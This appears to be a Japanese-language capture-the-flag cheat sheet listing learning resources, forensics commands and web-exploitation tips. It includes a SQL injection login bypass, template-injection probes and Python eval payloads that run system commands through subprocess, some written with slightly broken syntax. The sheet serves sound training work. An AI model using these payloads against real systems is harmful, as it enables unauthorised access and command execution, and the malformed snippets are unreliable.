- MSマクロの抽出:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- CNC Gコードの表示
    - [https://ncviewer.com/](https://ncviewer.com/)
ツールをダウンロード
  • セキュリティ企業で、多数の教育コンテンツを作成しています。
  • 常に無料のコースやウェブキャストをセキュリティトピックについて行っています。
  • stacksmashing
    • 素晴らしいリバースエンジニアリングとハードウェアハッキングの動画。
    • WannaCryをリバースエンジニアリングする非常にクールなシリーズがあります。
  • Ben Greenberg
    • GMUの教授で、pwnやマルウェアのビデオチュートリアルを多数公開しています。
    • やや古くなっていますが、それでも良い内容です。
  • InfoSecLab at Georgia Tech
    • pwnに関する高度で詳細な講義が良いです。
    • ある程度の背景知識が必要です。
  • RPISEC
    • RPI大学のチームミーティング。
    • 非常に高度で、ある程度のコンピュータサイエンスの背景知識を前提としています。
  • Matt Brown
    • 組み込みセキュリティのペネトレーションテスター。
    • IoTハッキングについて初心者に優しい素晴らしい動画を作成しています。
  • 一部の画像を開くためにファイルシグネチャを変更する必要がある場合があります。
  • 一般的なファイルシグネチャのリスト
  • Ghex(もう一つの16進数エディタですが、GUI付きです。特定のバイトにジャンプする必要がある場合に便利です)
    • ghex <file.xyz>
  • docxファイルはコンテナなので、解凍して隠しコンテンツを見つけることができます。
    • unzip <file.docx>
  • Grep - フラグを再帰的に検索するgrepの良い使い方:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}
    • 'picoCTF'を探しているフラグの先頭に変更できます。
  • Ltrace - プログラムの実行中にコードが何をしているかを確認できます:
    • ltrace ./<file>
    • ltrace -s 100 ./<file>
      • Ltraceは非常に長い文字列を短縮します。-sを使用して表示する文字数を増やすことができます。strcmpで長い文字列を確認する場合に便利です。
  • %x は4バイト(intサイズ)をリーク
  • %lx は8バイト(longサイズ)をリーク
  • fstring脆弱性と %n を使用してスタックを変更する優れた動画:
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
  • サーバー上では、これは SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = '' と評価されます
  • 1=1 が真と評価され、OR 文を満たし、-- によってクエリの残りがコメントアウトされます
  • PayloadsAllTheThings
    • 多数のペイロードを含むWebエクスプロイトの優れたリソース
  • テンプレートインジェクション
    • tplmap
      • 自動化されたサーバーサイドテンプレートインジェクション
    • Jinjaインジェクション
      • {{ config.items() }}
    • Flaskインジェクション
      • {{ config }}
    • Python eval() 関数
      • __import__.('subprocess').getoutput('<command>')
        • 動作しない場合は括弧を切り替えてください
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • システム内のファイルを一覧表示
    • More python injection
  • Cross Site Scripting
    • CSP Evaluator
      • GoogleのContent Security Policy Evaluator